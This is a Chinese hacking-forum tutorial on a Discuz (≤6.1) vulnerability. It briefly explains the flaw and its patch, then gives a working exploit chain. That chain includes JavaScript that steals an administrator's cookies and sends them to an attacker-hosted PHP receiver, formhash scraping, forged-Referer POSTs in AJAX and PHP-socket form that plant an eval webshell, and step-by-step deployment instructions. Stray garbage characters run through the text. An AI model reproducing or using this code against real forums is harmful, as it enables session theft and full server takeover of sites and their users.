Discuz XSS得webshell
) x8 v$ P+ j; HBy racle @tian6.com
" J U. |: x8 w欢迎转帖.但请保留版权信息.
, @+ F5 o1 l& B. J8 _( ?4 d% s受影响版本iscuz<=6.1.0,gbk+utf+big5& ]$ g+ a# ^$ H$ y
6 d ?/ y" T5 i6 o+ J! E新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.& \4 u* }- \$ o6 s$ n7 T- D/ [+ u
0 l9 e, m5 }* i% ~$ Q( G: o$ _$ j* g' L) D' ?5 Q% Q
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706% k7 }# {: Y- l2 k1 P
当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.
z+ ]& j* T5 F& c& I/ m
5 a& y+ g* f1 y- ^5 @分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
/ H- W: i8 s: u5 o$ h+ V本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
$ ~: t; j* i2 w7 U0 u
9 ]) `# _' x2 @9 v: F
& c) v C- x/ P, V----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
: y+ B, B& }0 P, Q6 b U5 T% C0 T$ c d* r6 ~* s, a) l
! m- R3 Y- p h8 f
problem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交." v1 z3 R% V3 H* r: y6 s
( Y7 l8 S' Z- v" o1 i7 U# I6 N
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
1 v2 z# {" m/ j4 {. k, C( x& F/ X4 r n& S' k s$ G
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的. y) ^) k& b$ A. e6 ]
' n% K+ s1 e q: W
p; Z) g2 g+ }0 Q0 T0 d6 R1 _& |下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() { K4 b6 `2 {6 O
C; T& w$ @# ~5 T- k global $runwizardfile, $runwizardhistory;
# }/ T5 M) b" u" M' \1 g3 j8 M+ m3 _6 @# g; [* `+ K5 \
$fp = fopen($runwizardfile, 'w'); Y* G% {4 k9 w, Q4 N9 ]1 R- X
; u9 a( p9 n8 Q! k) e! J fwrite($fp, serialize($runwizardhistory));
P# f7 i" u1 D" M- q5 a
- d! h" n- ^0 z1 X+ r/ s7 ?& v6 P fclose($fp);
3 X2 A" d& T( A) n c9 Z
, C, Q( r- t$ K0 f- _% x}! T- H3 |3 Y8 A5 \ r
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.1 d+ y. S% x- I/ O) m* Q, z/ u
以下是修补的办法:function saverunwizardhistory() {
2 r9 f2 e' F9 s& d! b9 ~. y, e9 z! b& ~8 I
+ M3 A# c7 A: S4 M global $runwizardfile, $runwizardhistory;7 k P1 D. N5 K! H* E$ j5 D
0 `( b5 ^- ~, `! p $fp = fopen($runwizardfile, 'w');
1 P+ F6 Y. z5 {6 ?8 ~# z
1 [; d `% M3 q: b $s = '<?php exit;?>';; o9 L/ j/ r3 x
6 e8 q, A3 ~. c1 u# a- O
$s .= serialize($runwizardhistory);
! X( ?- {9 t% r, |( h' p4 C. ~; h' J; \$ j& g
fwrite($fp, $s);1 r4 ~* r2 L& M& ^ ~, m% E4 `* A
6 a! E% H0 U* I2 V6 Z' C
fclose($fp);
, R) o S) u* Y3 N* X
1 z0 @$ Y/ u8 o. [$ m! ?}4 m! P6 Q# D' B n" |6 {( f( v3 f
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
1 m* T+ v7 Y6 \$ H3 _' Y/ d7 |9 B# f2 U
# f" g+ O/ W2 Z( N9 o" l8 J( o' K; C% @6 C: Z$ U1 y
( J; \, t M; I3 i
----------------------------------------漏洞的成因和利用方法分隔线------------------------------------------------------------------------------ b, @4 T' q Q" V' f! P6 J
% b7 d& r7 c. W, n
) k9 F* ~( n( _! s2 [$ j* j
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.6 Z: ^% W! }8 }+ T) m! s8 A6 g
& P: Y# q# N+ M; U3 T$ j/ X
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
4 B5 P! [' J _) h: E3 d) u# M1 z: j
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
" `0 z# f* F ], W% W8 N. V+ B7 x) ~, ]* s/ i$ C1 J0 c% P6 H
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
0 x- G. x* ]) D) C6 i1 ~
0 Y7 F9 u+ T+ j6 J% O2 Zvar url="http://目标网站/admincp.php"; 1 T) c; l1 D! _! S$ m) k" H# L% E
+ J# p4 T& m* A% ~& K- g9 C$ U
/*获得cookies*/
5 D' \% {3 t% f X% v
2 }% p ] N' n; e+ H- K! cfunction getURL(s) {3 m7 T h2 i R- ^) O n" B
9 k6 @4 t9 M$ @
var image = new Image();
- E. ?% q; O: P* j, F% y! K4 s0 Q- Y5 j n$ N
image.style.width = 0;3 h6 K# n$ H3 c5 `: l# H
; E- w: g, q' ?, P
image.style.height = 0;& f3 F$ T! ~7 h( \
' t8 X# D9 R9 ^. c6 H4 O& iimage.src = s;# n& z7 p& k, B7 g" x
/ ^. O8 \/ n+ W3 n! Z, _}
( K: f6 I# F: a+ w1 j# j
& e% o: ^* d0 J7 `getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
: Z8 n. J; }) ]- b+ X3 o复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];* r. \' y$ P& d) ?0 x" L8 W
复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) / r/ f; I6 W2 D2 @1 L
, x5 h6 p3 V% D( G( l7 E) ~
( x" R" A. W% [1 k& F获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";9 z: A- T4 s7 D( o, F; `$ h
& [) f- J5 g- Q
# N! |/ ]5 U3 \' h
7 J0 U0 {: [1 C' a6 [5 f- T/*hash*/$ @* r/ ^( B; C1 v" w
e2 n8 y7 X. G, R& o3 ^
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");, V- o# K6 ^( S6 k
; e! e9 I# \- ~2 t+ [; R7 |xmlHttpReq.open("GET", url+"admincp.php?action=home", false);7 [4 b& O; V- f1 G+ I3 x
$ M t: |+ }) E3 m( BxmlHttpReq.send();
! O& T- q k5 ~4 p0 p1 [% \6 a4 }0 G# d o( \
var resource = xmlHttpReq.responseText;3 d# N& u. ?. R8 D% A& g
1 i* H- S. j& {; b" @& Z3 E
var numero = resource.search(/formhash/);
( M# {$ J: W- { f1 P
% }8 X5 Z: F/ wvar formhash=encodeURIComponent(resource.substr(numero+17,8));
+ Q# _9 P7 ]( ^ A3 g: l/ C
$ V" B- r9 X5 }
+ C+ L( y# U2 Q% W
8 X. c6 \* L0 n/ c- I6 qvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 2 P+ ?2 M4 D7 g. ?
7 a0 d: {# I$ o+ ~; F# Z
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 - B& C2 C# i5 P+ t" z) I+ b0 [% T( s: ?
5 k$ s4 F' t# M8 ^& t( A$ uxmlHttpReq.setRequestHeader("Referer", url);' ~+ Q! O e4 E4 F4 F2 _# j; Y
% [; S: \1 ^% D1 a1 R7 B# _- y
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
1 a5 Q- K/ M( }" |# r3 ]
; N% }0 P; E NxmlHttpReq.setrequestheader("content-length",post.length); h/ b$ i0 @* F2 o
; `7 s$ _. s( }& S
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
2 P6 }: M, V E f0 O7 ~5 s
! u: Q3 L( g/ f0 ^: ~% u! |. [5 w: yxmlHttpReq.send(post);//发送数据# z/ r3 r( O& g }7 w. G
复制代码这里HASH我假设正确,这样提交,也无须cookies
( R/ F( J: Y* Z- ^! ?
/ w, Y5 y5 j, m, a* q再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);* J* W& R! {" r+ y+ ^1 [
; ^ X) P/ O' T9 A2 f% ~: v. hif (!$sock) die("$errstr ($errno)\n");7 a+ \* D. m8 S9 c
* d& D$ y3 T& o& Y, v8 w$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';2 |3 |" n* o9 r' r$ }
- O; V1 F3 |; q2 Y8 Z2 N2 k/ ?" D1 C/ s
6 O! [( g$ Z! Z& A+ gfwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
- Q2 ^) E3 M3 U& c0 v/ l+ n9 D/ y
o$ o2 O) T: e5 K2 N1 {9 Ufwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
( W% U1 U+ b* }( W) W' r8 q% v$ J8 |) w" @3 h: _% U7 c1 k$ t( `
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");( _* J! Q2 L+ Y; {' K+ n
! H! k- p9 O- w" K x% n5 D$ g5 N. ~3 ~
fwrite($sock, "Accept-Language: zh-cn\r\n");. u6 p) d! v, s4 p: y
/ R) ~0 U7 s7 R( `
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");9 n+ K0 n# L1 |. f
G" U* H" A2 m- c" {fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
1 i. q! p, R7 e4 m) A7 w. c$ s7 U% X2 {- u( l0 p
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");( X5 t2 b i7 _$ k9 x
+ @/ E# A" ~' ?( r* w2 }. o* k
fwrite($sock, "Host: $url\r\n");
. @0 K( d7 B5 _& Z. @8 L7 |( ~6 A* ^) i0 e u* G1 U
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
/ C. t7 F8 ?6 h3 Y( y) k* L" b% W# H3 n Y( E
fwrite($sock, "Connection: Keep-Alive\r\n");
2 F# J% H/ o- I, l- t9 n9 x( U7 W- Q( B5 l8 E" ^" S/ f
fwrite($sock, "Cache-Control: no-cache\r\n");
1 t/ O% H& x: w
& B G/ ?. L) K+ n( V9 C9 Gfwrite($sock, "Cookie:".$cookies."\r\n\r\n"); ~+ m% v$ W& X0 ~. C0 B: A
" ?# e k( A0 z1 ^fwrite($sock, $data);
% a, s! {+ \% K/ p9 `/ j0 D, O$ K0 q9 H5 L+ F# j7 R& m( Q" H# j
9 i! o/ M! e6 c m, M
1 U6 ?8 y. J3 k/ o* b& Y. Z$ j$headers = "";
8 T9 R" l1 ?+ \9 ]
' |+ s3 c8 _3 ~7 t" e" A6 F2 f0 Cwhile ($str = trim(fgets($sock, 4096))) O( W& ~- n7 V$ K
% g9 X( V6 W% [( \+ e $headers .= "$str\n";
$ z% p) s: ]5 _' Y) b$ N: T; w3 }/ C N" z% O
echo "\n";- B: A: ^1 o N5 T+ Q3 Q' ?( H
) f7 u) E: ?+ P: y% ]
$body = "";$ | y7 k. a3 y9 B* h$ x5 `
: O3 R8 N% z4 `, @1 F T. E" s) c/ y# _while (!feof($sock))
I3 n: E7 Q% J4 I7 ]# J$ {( [5 Z% ?& `5 z5 |
$body .= fgets($sock, 4096);, v! M* a# _4 K
$ R: F! x& [/ e% d9 a
fclose($sock);
; k- t8 W* l0 g* ~. k4 _* N0 X# W- g/ ^
echo $body;* B* H2 H# m3 b" g% K+ Q
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^! T0 i8 |+ V, O( @
# i* _# i! u, j g
3 D3 J- h. O: T: D8 ]- j-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------. ]* f1 t/ q2 `0 f, H
& r& A' C* F! @1 J% K! M4 J# S
# B) g8 Z3 v& ]1HP SOCKET利用方法首先打开racle.js$ G3 Y x* E! ?: S& W h) \
6 Z& k6 i) e% {3 c0 Dvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
7 n7 O d6 k7 @
% t' [, r/ m" s# P( N0 ? p* B) _6 i. g2 H# d
0 m' D! l# m; t/ B# _然后打开racle@tian6.php+ ]2 m9 p" R+ M* s; V/ _5 Z
+ x1 X# K( Y9 U, ~
$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com j% w8 s' ?( L! @0 y
( X) ?& ^- b8 ^# _
: y u' i- y* O6 T! Q
: B! K6 ^/ b6 G0 |; x0 @& ^3 ?如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:9 a+ c" s' h; |9 k1 l. C. h0 W# m. U+ d
- O3 g6 m1 I+ ]* M# r4 \4 U) q
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));: d( ?5 G- D0 `
6 `8 J9 j0 \+ r8 `3 P. Q5 U1 |为
1 y1 K7 _! q4 }' |$ h& s8 a" O* f2 p0 s" \9 m) q
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
8 e* ?6 J5 ?* J6 {: R* q6 ~复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.# e6 {% @: x/ Q
; B% _1 X# a3 T: s4 h: Q& `( l' r
) C& A2 L9 o; f/ E4 b( {
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
- ^% m: e2 e! R4 J( R0 o# L v7 U3 |9 w) c; \# ^1 G
var formhash=encodeURIComponent(resource.substr(numero+17,8));" @7 E' L' F& P0 i/ |' x7 u+ k
% D) [* z3 |6 o* W为
! e5 z8 w# C, H8 [3 u9 l
" ^1 g3 k; d: U# @" A$ Ovar formhash=encodeURIComponent(resource.substr(numero+9,8));
9 F# F2 z. K7 Z R; n复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.0 j' r' o/ d, Y9 _: d& e- z0 d
% p. L/ l' _4 V
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
1 s0 ]! N6 _5 V5 u: ]
" L) _; m% h4 \$ J) c) c! _如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
3 _) i: d1 U! b
! K0 K" v* ^$ k不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
% W2 e9 F# P: Y
0 C$ j# s S8 g: q |